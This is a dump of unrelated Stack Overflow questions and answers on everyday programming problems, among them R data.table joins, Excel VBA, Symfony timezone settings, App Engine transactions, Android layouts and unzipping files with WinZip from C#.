26486196	0	 <p><strong>Updated solution using non-equi joins:</strong></p> <p>Recently, <em>non-equi</em> joins were implemented in the <a href="https://github.com/Rdatatable/data.table/wiki/Installation" rel="nofollow">current development version of data.table, v1.9.7</a>. This is quite straightforward with this feature:</p> <pre><code>require(data.table) # v1.9.7+ dt1 = data.table(x=foo) dt2 = data.table(y=foo+10L) dt1[dt2, on=.(x &lt; y), mult="last", which=TRUE] # [1] 4 4 5 5 6 7 8 8 9 </code></pre> <p>On 100,000 elements, this is faster than <code>foverlaps</code>:</p> <pre><code>set.seed(45L) foo &lt;- sort(sample(1e6, 1e5, FALSE)) dt1 = data.table(x=foo) dt2 = data.table(y=foo+10L) system.time(ans &lt;- dt1[dt2, on=.(x &lt; y), mult="last", which=TRUE]) # user system elapsed # 0.011 0.001 0.011 </code></pre> <p>Note that this operation can be done directly as follows:</p> <pre><code>ans &lt;- data.table(x=foo)[.(y=x+10L), on=.(x &lt; y), mult="last", which=TRUE] </code></pre> <hr> <p><strong>Old approach using <code>foverlaps</code>:</strong></p> <p>Here's a method that would probably scale better. Using overlapping range joins function <code>foverlaps()</code> from <code>data.table</code> version 1.9.4:</p> <pre><code>require(data.table) ## 1.9.4+ x = data.table(start=foo, end=foo+9L) lookup = data.table(start=foo, end=foo) setkey(lookup) ## order doesn't change, as 'foo' is already sorted foverlaps(x, lookup, mult="last", which=TRUE) # [1] 4 4 5 5 6 7 8 8 9 </code></pre> <p>Timing on 100,000 numbers:</p> <pre><code>set.seed(45L) foo &lt;- sort(sample(1e6, 1e5, FALSE)) arun &lt;- function(foo) { x = data.table(start=foo, end=foo+9L) lookup = data.table(start=foo, end=foo) setkey(lookup) foverlaps(x, lookup, mult="last", which=TRUE) } system.time(arun(foo)) # user system elapsed # 0.142 0.009 0.153 </code></pre>
9920736	0	 <p>Take a look at this example: <a href="http://ideone.com/8MHGH" rel="nofollow">http://ideone.com/8MHGH</a></p> <p>The main problem you have is that str is pointer to a char not a char, so you should assign it to a string: <code>str = "\0";</code></p> <p>When you assign it to char, it remains 0 and then the fail bit of cout becomes true and you can no longer print to it. Here is another example where this is fixed: <a href="http://ideone.com/c4LPh" rel="nofollow">http://ideone.com/c4LPh</a></p>
38302398	0	 <p>I tested above scenario with Postman, and it works properly. Please find steps as follows;</p> <ul> <li><p>Add proxy and remove message store. (Because adding null message to message store giving following error)</p> <p>[2016-07-11 13:46:53,291] ERROR - NativeWorkerPool Uncaught exception java.lang.Error: Error: could not match input at org.apache.synapse.commons.staxon.core.json.stream.impl.JsonScanner.zzScanError(JsonScanner.java:530) at org.apache.synapse.commons.staxon.core.json.stream.impl.JsonScanner.yylex(JsonScanner.java:941) at org.apache.synapse.commons.staxon.core.json.stream.impl.JsonScanner.nextSymbol(JsonScanner.java:310) at org.apache.synapse.commons.staxon.core.json.stream.impl.JsonStreamSourceImpl.next(JsonStreamSourceImpl.java:149) at org.apache.synapse.commons.staxon.core.json.stream.impl.JsonStreamSourceImpl.peek(JsonStreamSourceImpl.java:272) at org.apache.synapse.commons.staxon.core.json.JsonXMLStreamReader.consume(JsonXMLStreamReader.java:129) at org.apache.synapse.commons.staxon.core.json.JsonXMLStreamReader.consume(JsonXMLStreamReader.java:132) at org.apache.synapse.commons.staxon.core.base.AbstractXMLStreamReader.hasNext(AbstractXMLStreamReader.java:446) at org.apache.synapse.commons.staxon.core.base.AbstractXMLStreamReader.next(AbstractXMLStreamReader.java:456) at javax.xml.stream.util.StreamReaderDelegate.next(StreamReaderDelegate.java:88) at org.apache.axiom.om.impl.builder.StAXOMBuilder.parserNext(StAXOMBuilder.java:681) at org.apache.axiom.om.impl.builder.StAXOMBuilder.next(StAXOMBuilder.java:214) at org.apache.axiom.om.impl.llom.OMElementImpl.getNextOMSibling(OMElementImpl.java:336) at org.apache.axiom.om.impl.OMNavigator._getFirstChild(OMNavigator.java:199) at org.apache.axiom.om.impl.OMNavigator.updateNextNode(OMNavigator.java:140) at org.apache.axiom.om.impl.OMNavigator.getNext(OMNavigator.java:112) at org.apache.axiom.om.impl.SwitchingWrapper.updateNextNode(SwitchingWrapper.java:1113) at org.apache.axiom.om.impl.SwitchingWrapper.(SwitchingWrapper.java:235) at org.apache.axiom.om.impl.OMStAXWrapper.(OMStAXWrapper.java:74) at org.apache.axiom.om.impl.llom.OMStAXWrapper.(OMStAXWrapper.java:52) at org.apache.axiom.om.impl.llom.OMContainerHelper.getXMLStreamReader(OMContainerHelper.java:51) at org.apache.axiom.om.impl.llom.OMElementImpl.getXMLStreamReader(OMElementImpl.java</p></li> <li><p>Use Postman and invoke proxy service with "POST" command</p></li> </ul> <p>Add json content in to body</p> <p><a href="https://i.stack.imgur.com/2CiAA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2CiAA.png" alt="Snapshot of POSTMAN"></a></p> <ul> <li>Send it. ESB will print the message correctly with brackets.</li> </ul>
11110741	0	 <p>Indeed Sparkle Basic wiki page is a bit misleading. For everyone how still gets confused with process, here are necessary steps:</p> <ol> <li><p>go to Extras/Signing Tools subfolder </p></li> <li><p>generate dsa private/public key pair:</p> <p>ruby generate_keys.rb</p> <p>Note that there is bug with this script in Sparkle 1.56b, so it might be better to take it from here: <a href="https://raw.github.com/andymatuschak/Sparkle/55eed9efd84c4a2163a3e2b86c8d9b68a243fb6b/generate_keys.rb" rel="nofollow">updated generate_keys.rb script</a> </p></li> <li><p>using sign_update.rb script (from same folder) you will generate dsa signature:</p> <p>ruby sign_update.rb </p></li> </ol>
40108426	0	paste fails when try to run wiith excel multiple instances <p>I have 3 instances of Excel-vba running at same time. Sometimes, just sometimes, the Copy &amp; paste fails. When fails, I just run this part of the code again and it runs well. It can happen with any Paste method of my code. </p> <p>I know that it happens just with multiple instances of excel, I want to know why. Glad for help!</p> <pre><code>'Copy to a new Sheet Call findAndSelectRange("Fabricante", "Grand Total", 5) ' make one selection Selection.Copy Workbooks("FFQ.xlsm").Activate Sheets.Add After:=Workbooks(WORKBOOK_MAIN).Sheets(Workbooks(WORKBOOK_MAIN).Sheets.count) ActiveSheet.Name = sheetName1 'ThisWorkbook.Worksheets.Select (ThisWorkbook.Worksheets.Count) Range("A2").Select ActiveSheet.Paste </code></pre>
23348587	0	 <p>If you want to remove all Unicode characters from a string, you can use <code>string.encode("ascii", "ignore")</code>.</p> <p>It tries to encode the string to ASCII, and the second parameter <code>ignore</code> tells it to ignore characters that it can't convert (all Unicode chars) instead of throwing an exception as it would normally do without that second parameter, so it returns a string with only the chars that could successfully be converted, thus removing all Unicode characters.</p> <p>Example usage :</p> <pre><code>unicodeString = "Héllò StàckOvèrflow" print(unicodeString.encode("ascii", "ignore")) # prints 'Hll StckOvrflow' </code></pre> <p>More info : <a href="https://docs.python.org/3/library/stdtypes.html#str.encode" rel="nofollow"><code>str.encode()</code></a> and <a href="https://docs.python.org/3/howto/unicode.html" rel="nofollow">Unicode</a> in the Python documentation.</p>
23745501	0	 <p>Java 7 supports the feature of having underscores in the numeric literals to improve the readability of the values being assigned.</p> <p>but the underscore usage is restricted to be in between two numeric digits, i.e not at the beginning or ending of the numeric values but should be confined between two digits, should not be as a prefix to l,f used to represent long and float values and not in between radix prefixes also.</p>
33841722	0	Swap the 2nd character with the next-to-last <p>I have to change the 2nd letter with penultimate letter for word with more than 3 letters. Example i have this string: Alex are mere<br> The result should be: Aelx are mree<br> But i get this when i run my program: Axel` aler</p> <p>This is the code:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; int main() { int i,n,j=0; char text[81],cuv[44],l; printf("Introduce-ti textul:"); gets(text); for(i=0;i&lt;strlen(text);i++) { if(text[i] != 32) { cuv[j]=text[i]; j += 1; } else { n = strlen(cuv) - 1; l= cuv[1]; cuv[1]=cuv[n-1]; cuv[n-1]=l; printf("%s ",cuv); strcpy(cuv,""); j=0; } } return 0; } </code></pre>
17228721	0	 <p>You can use AWT,SWT or Swing to build desktop applications. AWT and SWT are basic implementations and bit hard because of the limited GUI components. Swing is a kind of extended version of AWT but with more GUI components. Swing use almost all the AWT components in it. So It will be easy for you to begin with Swing. Is it good if you can write UI class by your own in order to get good understanding of how things are working but it will be easy if you use NetBeans desktop application tool or eclipse with WindowBuilder tool.</p>
12908621	0	My VBA code is aborting unexpectedly upon exiting a 'While' loop. Why? <p>I am new to VBA coding. I have done some coding in Javascript and C++, so I do understand the concepts. I'm not too familiar with the specifics of VBA, though. This particular code is for Excel 2007. The sort function was copied from elsewhere as pseudocode (documentation is not mine). I've rewritten it as VBA (unsuccessfully).</p> <p>This code is not working properly. The code is abruptly aborting entirely (not just jumping out of a loop or function, but quitting completely after going through the While loop twice.</p> <p>To replicate the problem, save this code as a Macro for an Excel sheet, type the number 9853 in B5, and in B6 type "=Kaprekar(B5)". Essentially, run Kaprekar(9853).</p> <p>Could someone please help me figure out what I'm doing wrong here? Thanks.</p> <p>By the way, I'm using While-Wend now. I also tried Do While-Loop with the same result.</p> <p>Here's the code:</p> <pre><code>Function Sort(A) limit = UBound(A) For i = 1 To limit ' A[ i ] is added in the sorted sequence A[0, .. i-1] ' save A[i] to make a hole at index iHole Item = A(i) iHole = i ' keep moving the hole to next smaller index until A[iHole - 1] is &lt;= item While ((iHole &gt; 0) And (A(iHole - 1) &gt; Item)) ' move hole to next smaller index A(iHole) = A(iHole - 1) iHole = iHole - 1 Wend ' put item in the hole A(iHole) = Item Next i Sort = A End Function Function Kaprekar%(Original%) Dim Ord(0 To 3) As Integer Ord(0) = Original \ 1000 Ord(1) = (Original - (Ord(0) * 1000)) \ 100 Ord(2) = (Original - (Ord(1) * 100) - (Ord(0) * 1000)) \ 10 Ord(3) = (Original - (Ord(2) * 10) - (Ord(1) * 100) - (Ord(0) * 1000)) If (Ord(0) = Ord(1)) * (Ord(1) = Ord(2)) * (Ord(2) = Ord(3)) * (Ord(3) = Ord(0)) = 1 Then Kaprekar = -1 Exit Function End If Arr = Sort(Ord) Kaprekar = Ord(3) End Function </code></pre>
39180627	0	Russian text displaying as ??? in my Angular app <p>I have an app which is reading information from an SQL database and displaying in a table. The information in the SQL table is in Russian and has collation utf8_unicode_ci. I am using Angular.</p> <p>Everything works fine - data is being displayed, however the text is displaying as ????? rather than the Russian text. </p> <p>How do I fix this error? I have tried googling but cant find anything relevant.</p> <p>Here is the head element of my index.html:</p> <pre><code>&lt;html ng-app="crudApp"&gt; &lt;head&gt; &lt;title&gt;Burger King Stock List&lt;/title&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;!-- Include Bootstrap CSS --&gt; &lt;link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"&gt; &lt;!-- Include main CSS --&gt; &lt;link rel="stylesheet" type="text/css" href="css/style.css"&gt; &lt;!-- Include jQuery library --&gt; &lt;script src="js/jQuery/jquery.min.js"&gt;&lt;/script&gt; &lt;!-- Include AngularJS library --&gt; &lt;script src="lib/angular/angular.min.js"&gt;&lt;/script&gt; &lt;!-- Include Bootstrap Javascript --&gt; &lt;script src="js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;/head&gt; </code></pre> <p>I am thinking i needed to have another meta tag?</p>
11591766	0	 <p>In order for your code to work, you have to reverse the logic i.e.</p> <pre><code>private void button1_Click(object sender, EventArgs e) { if(checkBoxWMVFile.Checked == false)//if the textbox is not checked { if (timercheckbox == null)//If this is the first time { timercheckbox = new Timer();//Create a timer timercheckbox.Interval = 10000; // Set the interval, before starting it. timercheckbox.Start();//Start it } else timercheckbox.Start();//If it is not the first time, just start it checkBoxWMVFile.Checked = true;//Check the checkbox } else//the checkbox is checked { timercheckbox.Stop();//Stop the timer checkBoxWMVFile.Checked = false;//Uncheck the checkbox } } </code></pre>
2764078	0	bulk update/delete entities of different kind in db.run_in_transaction <p>Here goes pseudo code of bulk update/delete entities of different kind in single transaction. Note that Album and Song entities have AlbumGroup as root entity. (i.e. has same parent entity)</p> <pre><code>class Album: pass class Song: album = db.ReferenceProperty(reference_class=Album,collection_name="songs") def bulk_update_album_group(album): updated = [album] deleted = [] for song in album.songs: if song.is_updated: updated.append(song) if song.is_deleted: deleted.append(song) db.put(updated) db.delete(deleted) a = Album.all().filter("...").get() # bulk update/delete album. db.run_in_transaction(bulk_update_album,a) </code></pre> <p>But I met a famous "Only Ancestor Queries in Transactions" error at the iterating back-reference properties like "album.songs". I guess ancestor() filter does not help because those entities are modified in memory.</p> <p>So I modify example like this: prepare all updated/deleted entities before calling transaction.</p> <pre><code>def bulk_update_album2(album): updated = [album] deleted = [] for song in album.songs: if song.is_updated: updated.append(song) if song.is_deleted: deleted.append(song) def txn(updated,deleted): db.put(updated) db.delete(deleted) db.run_in_transaction(txn,updated,deleted) </code></pre> <hr> <p>Now I found that iterating back-reference property force reload existing entities. So re-iterating back-reference property after modifying should be avoided!!</p> <p>All I want to verify is:</p> <blockquote> <p>When need to bulk update/delete many entities of different kind, is there any good coding pattern for this situation? my last code can be good one?</p> </blockquote> <hr> <p>Here goes full code example:</p> <pre><code>from google.appengine.ext import webapp from google.appengine.ext.webapp import util import logging from google.appengine.ext import db class Album(db.Model): name = db.StringProperty() def __repr__(self): return "%s%s"%(self.name,[song for song in self.songs]) class Song(db.Model): album = db.ReferenceProperty(reference_class=Album,collection_name='songs') name = db.StringProperty() playcount = db.IntegerProperty(default=0) def __repr__(self): return "%s(%d)"%(self.name,self.playcount) def create_album(name): album = Album(name=name) album.put() for i in range(0,5): song = Song(parent=album, album=album, name='song#%d'%i) song.put() return album def play_all_songs(album): logging.info(album) # play all songs for song in album.songs: song.playcount += 1 logging.info(song) # play count also 0 here logging.info(album) def save_play_count(album): updated = [] for song in album.songs: updated.append(song) db.put(updated) db.run_in_transaction(save_play_count,album) def play_all_songs2(album): logging.info("loading : %s"%album) # play all songs updated = [] for song in album.songs: song.playcount += 1 updated.append(song) logging.info("updated: %s"%updated) db.put(updated) logging.info("after save: %s"%album) def play_all_songs3(album): logging.info("loading : %s"%album) # play all songs updated = [] for song in album.songs: song.playcount += 1 updated.append(song) # reload for song in album.songs: pass logging.info("updated: %s"%updated) def bulk_save_play_count(updated): db.put(updated) db.run_in_transaction(bulk_save_play_count,updated) logging.info("after save: %s"%album) class MainHandler(webapp.RequestHandler): def get(self): self.response.out.write('Hello world!') album = Album.all().filter('name =','test').get() if not album: album = db.run_in_transaction(create_album,'test') # BadRequestError: Only ancestor queries are allowed inside transactions. #play_all_songs(album) # ok #play_all_songs2(album) play_all_songs3(album) def main(): application = webapp.WSGIApplication([('/', MainHandler)], debug=True) util.run_wsgi_app(application) if __name__ == '__main__': main() </code></pre>
20743060	0	Symfony2 and date_default_timezone_get() - It is not safe to rely on the system's timezone settings <p>I have a Symfony2 project. I updated my php to 5.5.7 today and since then, I am getting the </p> <pre><code>Warning: date_default_timezone_get(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in... </code></pre> <p>I setup the default timezone in my php.ini</p> <pre><code>[Date] ; Defines the default timezone used by the date functions ; http://php.net/date.timezone date.timezone = "Europe/Paris"; </code></pre> <p>To be sure that this is the good php.ini, I was checking with </p> <pre><code>phpinfo(); </code></pre> <p>And the path I ma getting there is the one I am modifying:</p> <pre><code> /usr/local/php5.5.7/lib </code></pre> <p>But in there, I see the </p> <pre><code>Default timezone UTC </code></pre> <p>Which is strange.</p> <p>any idea? Thank you.</p>
29155450	0	 <p>You need to have a property to bind the selected items to. A multiple <code>&lt;Select&gt;</code> binds to, and post back an array of value types.</p> <pre><code>public class MyViewModel { public int[] SelectedContacts { get; set; } public List&lt;Contact&gt; AvailableContacts { get; set; } } </code></pre> <p>View</p> <pre><code>@Html.ListBoxFor(m =&gt; m.SelectedContacts, new SelectList(Model.AvailableContacts, "ExternalUserID", "PublicName"), new { @class = "form-control", size = "15" }) </code></pre>
6208732	0	LINQ to JSON in .net 4.0 Client Profile <p>How would I go about about using LINQ to JSON in the .net 4 Client Profile in C#. I'd like to query certain json responses as shown in <a href="http://blogs.msdn.com/b/mikeormond/archive/2008/08/21/linq-to-json.aspx" rel="nofollow" title="msdn blog">msdn blog post</a> without having to write out a contract (datacontract, servicecontract, etc). I really only need to query(read) the response, I don't need to modify the json response. (Also would a datacontract be faster than LINQ to JSON?)</p> <p>Alternatively I could use XML or the full .net 4 framework, but I'm hoping that this can be avoided. I can use external libraries if it's better than installing the whole framework.</p>
18080550	0	 <p>I would have presented it this way :</p> <pre><code>&lt;root&gt; &lt;person&gt; &lt;email/&gt; &lt;fname/&gt; &lt;lname/&gt; &lt;ssn/&gt; &lt;/person&gt; &lt;person&gt; &lt;email&gt;mrnt...&lt;/email&gt; &lt;fname&gt;Martin&lt;/fname&gt; &lt;lname&gt;Dimitrov&lt;/lname&gt; &lt;ssn&gt;123&lt;/ssn&gt; &lt;/person&gt; &lt;person&gt; &lt;email&gt;dani...&lt;/email&gt; &lt;fname&gt;Dany&lt;/fname&gt; &lt;lname&gt;Jones&lt;/lname&gt; &lt;ssn&gt;987&lt;/ssn&gt; &lt;/person&gt; &lt;/root&gt; </code></pre> <p>And associate an xsd schema defining the maxoccurs attribute of email and ssd to 1 </p> <pre><code>&lt;xs:schema attributeFormDefault="unqualified" elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema"&gt; &lt;xs:element name="root"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="person"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element type="xs:string" name="email" maxOccurs="1"/&gt; &lt;xs:element type="xs:string" name="fname"/&gt; &lt;xs:element type="xs:string" name="lname"/&gt; &lt;xs:element type="xs:string" name="ssn" maxOccurs="1"/&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:schema&gt; </code></pre>
2423015	0	 <p>The byte array should already be having what you originally read from the file. Write the byte array to a file on the disk and you should be good to go!</p>
7362028	0	 <p>Here's a solution that works like the Evernote login screen:</p> <p>First, define a class that will be your special LinearLayout like this:</p> <pre><code>public class MyLayout extends LinearLayout { public MyLayout(Context context, AttributeSet attrs) { super(context, attrs); } public MyLayout(Context context) { super(context); } private OnSoftKeyboardListener onSoftKeyboardListener; @Override protected void onMeasure(final int widthMeasureSpec, final int heightMeasureSpec) { if (onSoftKeyboardListener != null) { final int newSpec = MeasureSpec.getSize(heightMeasureSpec); final int oldSpec = getMeasuredHeight(); if (oldSpec &gt; newSpec){ onSoftKeyboardListener.onShown(); } else { onSoftKeyboardListener.onHidden(); } } super.onMeasure(widthMeasureSpec, heightMeasureSpec); } public final void setOnSoftKeyboardListener(final OnSoftKeyboardListener listener) { this.onSoftKeyboardListener = listener; } public interface OnSoftKeyboardListener { public void onShown(); public void onHidden(); } } </code></pre> <p>This layout listens to measure changes, and if new measurements are &lt; than the old ones, that means part of the screen is eaten by soft keyboard.</p> <p>Though, for it to work, in your manifest you need to set <code>android:windowSoftInputMode="adjustResize"</code> so the content will be resized and not just shifted.</p> <p>And the whole system works as follows: You have your layout:</p> <pre><code>&lt;MyLayout id="layout"&gt; &lt;SomeImage id="image"/&gt; &lt;SomeText&gt; &lt;SomeInput&gt; &lt;/MyLayout&gt; </code></pre> <p>It's like evernotes login screen. Then, in your activity:</p> <pre><code>((MyLayout)findViewById(R.id.layout)).setOnSoftKeyboardListener(new OnSoftKeyboardListener() { @Override public void onShown() { findViewById(R.id.image).setVisibility(View.GONE); } @Override public void onHidden() { findViewById(R.id.image).setVisibility(View.VISIBLE); } }); </code></pre> <p>Then go to manifest.xml and set </p> <pre><code>android:windowSoftInputMode="adjustResize" </code></pre> <p>What will happen, is when soft keyboard is shown, it'll hide the image and will resize the rest of content. (You can actually see how text is resized in Evernote)</p> <p>Image hide is, of course, one of the many things you can do. But you must be careful, since different layout changes will also call onMeasure.</p> <p>Of course it's a dirty variant. You need to check for orientation changes, and the right time when actually take the measurements, and maybe some more logic when comparing the new specs with the old ones. But i think this is the only way to do it.</p>
11991093	0	 <p><code>glEnable(GL_TEXTURE_2D)</code> (or the openTK equivalent) does not exist in OpenGLES 2.0. It only controls texturing for the fixed pipeline.</p> <p>To use textures in OpenGLES 2.0, you just sample them in your shader, there's no need to enable anything. </p>
25099724	0	Unzip files in C# (using winzip command line) <p>I'm trying to create program to unzip files. I need to use winzip command line. I try to send in argument command to cmd, but it didn't work, because cmd didn't know my command. When I pasted manually command, it works. </p> <pre><code>var process = new ProcessStartInfo("cmd.exe"); var command = "/c WZUNZIP -spassword" + "\""+ "C:\my path\file.zip" + "\"" + " " + "\"" + "C:\my path" + "\""; process.UseShellExecute = false; process.Arguments = command; Process.Start(process); </code></pre> <p>I tried to create .bat file and execute this file in my program, but like before it didn't work, when I executed it in my program and when start manually it works.</p> <pre><code>start cmd.exe /c WZUNZIP -spassword "C:\my path\file.zip" "C:\my path" var process = new ProcessStartInfo("cmd.exe", pathToBatch); Process.Start(process); </code></pre> <p>Mayby u know, the best way to execute .bat file in C#.</p> <p>I need to use winzip, because only it provides encoding for my files. I tried to use DotNetZip and during uziping program threw exception that it can't be unziped, because library can't operate this files.</p>
26616600	0	 <p>If there were no discriminator column in the target table then I guess you could still do it using the (non-JPA compliant) Hibernate annotation @DiscriminatorFormula.</p> <p><a href="http://docs.jboss.org/hibernate/annotations/3.5/reference/en/html_single/" rel="nofollow">http://docs.jboss.org/hibernate/annotations/3.5/reference/en/html_single/</a></p> <p>The JPA spec also allows for overriding/disabling JPA annotation processing via XML mapping files. I haven't really used this feature however see the following discussion which appears to suggest that you could convert the existing Entity to a MappedSuperclass via this mechanism. </p> <p><a href="http://stackoverflow.com/a/2516951/1356423">http://stackoverflow.com/a/2516951/1356423</a></p>
25346175	0	Reading the output streams from a C/C++ coded application <p>First of all, i'm on Ubuntu 14.04</p> <p>So, here's my problem: I'm dealing with a C++ coded application that has a graphical interface (games/music players/etc). This application constantly sends strings to a logger whenever something happens, but those are only visible inside the client.</p> <p>What I've tried to do already (failures):</p> <ul> <li><p>strace the application and filter the results (let's say if the application showed the message "Hello, user", i would log all the outputs to a test file and search for "Hello")</p></li> <li><p>ltrace the application</p></li> <li><p>debug the application with dbg</p></li> <li><p>search for debug methods on C/C++ apps</p></li> </ul> <p>What I've got from this last method is that programs usually log errors and messages through a <code>clog</code> stream. What could I do to retrieve that information?</p> <p>Resuming, I have a graphical C/C++ coded application that constant inputs strings on a window inside the client; I want to read those strings or any other strings/inputs this application does. Any debugging/memory reading information may also be helpful!</p> <p>Thanks</p>
36135860	0	 <p>You have to explicitly add the <code>RequestMethod</code></p> <p><code>@RequestMapping(method = RequestMethod.POST, value = "/importContacts")</code></p>
28068750	0	Unable Redirecting to a New Page <p>I want to redirect to a new page on a button click. Suppose that I have a button in my <strong>Default.aspx</strong> as:</p> <pre><code>&lt;asp:Button ID="signup_but" runat="server" Text="SignUp" onClick="Register"&gt;&lt;/asp:Button&gt; </code></pre> <p>and I want to redirect to a new page when I click this Button my Register Method is in <strong>Default.aspx.cs</strong> as:</p> <pre><code>protected void Register(object sender, EventArgs e) { Response.Redirect("~/Registration.aspx"); } </code></pre> <hr> <p>The Problem is that when i click this button to redirect to a new page as <strong>Registration.aspx</strong> it does not redirect my to the page and shows the following URL:</p> <pre><code> http://localhost:18832/My%20First%20WebSite/Default.aspx?ReturnUrl=%2fMy+First+WebSite%2fRegistration.aspx </code></pre>
16428811	0	Startup Script with Elastic Beanstalk <p>I'm using Elastic Beanstalk (through Visual Studio) to deploy a .NET environment to EC2. Is there any way to have the equivalent of Azure's startup cmd scripts or powershell scripts? I know that you can pass scripts through User Data when creating EC2 instances, but is that possible in Elastic Beanstalk? If not, how can I create a script that executes one time on instance creation? The main purpose of the script is to download certain resources and to install dependencies before the application starts.</p>
17254452	0	 <p>The size of a vector is split into two main parts, the size of the container implementation itself, and the size of all of the elements stored within it.</p> <p>To get the size of the container implementation you can do what you currently are:</p> <pre><code>sizeof(std::vector&lt;int&gt;); </code></pre> <p>To get the size of all the elements stored within it, you can do:</p> <pre><code>MyVector.size() * sizeof(int) </code></pre> <p>Then just add them together to get the total size.</p>
4420469	0	 <p>Similar question: <a href="http://stackoverflow.com/questions/826398/is-it-possible-to-dynamically-compile-and-execute-c-code-fragments">Is it possible to dynamically compile and execute C# code fragments?</a></p>
37442883	0	 <p>It looks like you set it up correctly. I would try invalidating the caches and restarting. I've had a similar problem to this before and that did it.</p> <p>Go to "File" -> "Invalidate Caches/Restart" and choose "Invalidate and Restart".<a href="https://i.stack.imgur.com/aTRej.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aTRej.png" alt="enter image description here"></a></p>
40038803	0	 <p>Please check that the name of ValidationGroup in your CustomValidator and the button is same or not. If not assign common name to them.</p>
34200537	0	 <p>This expresssion </p> <pre><code>string(0) </code></pre> <p>is already invalid and results in undefined behaviour.</p> <p>The compiler considers this expression like</p> <pre><code>string( (const char * )0 ) </code></pre> <p>but null pointer may not be used in this constructor.</p> <p>The loop you wrote could work if you define one more element in the array - an empty string as for example</p> <pre><code>string mesi[] = { "Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno", "Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre", "" ^^^ }; printMesi(mesi); void printMesi(string v[]) { for (string* p = v; *p != ""; p++) cout &lt;&lt; (*p) &lt;&lt; "\n"; } </code></pre> <p>However first of all there is no sense to declare the array as an array of strings. It is an array of a fixed size with values that are supposed to be immutable.</p> <p>So it is better to use string literals instead of objects of type std::string.</p> <p>I would suggest to use <code>std::array</code> instead of the ordinary array. For example</p> <pre><code>#include &lt;array&gt; //... std::array&lt;const char *, 12&gt; mesi = { { "Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno", "Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre" } }; void printMesi( const std::array&lt;const char *, 12&gt; &amp;mesi ); { for ( const char *m : mesi ) std::cout &lt;&lt; m &lt;&lt; "\n"; } printMesi( mesi ); </code></pre> <p>If your compiler does not support the class <code>std::array</code> then you can use an ordinary array declared the following way</p> <pre><code>const char * mesi[] = { "Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno", "Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre", 0 }; </code></pre> <p>and the function can look like</p> <pre><code>void printMesi( const char *mesi[]) { for ( const char *m = mesi; m != 0; m++ ) std::cout &lt;&lt; m &lt;&lt; "\n"; } </code></pre>
25852820	0	How do I put div after div with fixed position? <p>I'm trying to create a front page in which i am using something like this:</p> <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;My Page&lt;/title&gt; &lt;link href="style.css" rel="stylesheet" type="text/css"&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="wrapper"&gt; &lt;div id="header"&gt; &lt;h1&gt;Header&lt;/h1&gt; &lt;br/&gt; &lt;/div&gt; &lt;div id="box1"&gt; Content &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;`enter code here` </code></pre> <p>And my css is </p> <pre><code>#header{ position:relative; text-align:center; width:100%; margin-left:0%; color:#FEA13A; text-shadow:#CCC 1px 1px 1px; font-size:22px; background:#000000; } #box1{ width:80%; position:relative; margin-top:10px; margin-left:20%; margin-right:20; } #wrapper{ width:100%; position:absolute; } </code></pre> <p>I want to be able to use fixed position in every part of the page to adjust to the screen but when I use "position:fixed;" on the first header, everything after it doesn't take the positioning properly.</p> <p>How to solve this?</p>
6248895	0	 <pre><code>EducList = new ObservableCollection&lt;tblGALContinuingEducationHistory&gt;(currentGal.tblGALContinuingEducationHistories.Count &gt; 0 &amp;&amp; currentGal.tblGALContinuingEducationHistories != null ? currentGal.tblGALContinuingEducationHistories : null); int count = 0; //5 is the maximum no of course an atty can take and save in this form count = 5 - EducList.Count; for (int i = 0; i &lt; count; i++) { galContEdu = FileMaintenanceBusiness.Instance.Create&lt;tblGALContinuingEducationHistory&gt;(); galContEdu.AttorneyID = currentGal.AttorneyID; EducList.Add(galContEdu); } </code></pre> <p>then save only the ones that has data:</p> <pre><code>foreach (var item in EducList) { if(!string.IsNullOrEmpty(item.CourseTitle) || !string.IsNullOrWhiteSpace(item.CourseTitle)) FileMaintenanceBusiness.Instance.SaveChanges(item, true); } </code></pre>
12761896	0	 <p>A primary key in database design should be seen as a unique identifier of the info being represented. By removing an ID from a table you are essentially saying that this record shall be no more. If something was to take its place you are saying that the record was brought back to life. Now technically when you removed it in the first place you should have removed all foreign key references as well. One may be tempted at this point to say well since all traces are gone than there is no reason something shouldn't take it's place. Well, what about backups? Lets say you removed the record by accident, and it ended up replaced by something else, you would not be able to easily restore that record. This could also potentially cause problems with rollbacks. So not only is reusing ID's not necessary but fundamentally wrong in the theory of database design.</p>
13786647	0	 <p>As @PinkElephantsOnParade writes, it makes no difference for the execution. Thus, it's solely a matter of personal aesthetical preference.</p> <p>I myself set my editor to display trailing whitespace, since I think trailing whitespace is a bad idea. Thus, your line 10 would be highlighted and stare me in the face all the time. Nobody wants that, so I'd argue line 10 should not contain whitespace. (Which, coincidentally is how my editor, emacs, handles this automatically.)</p>
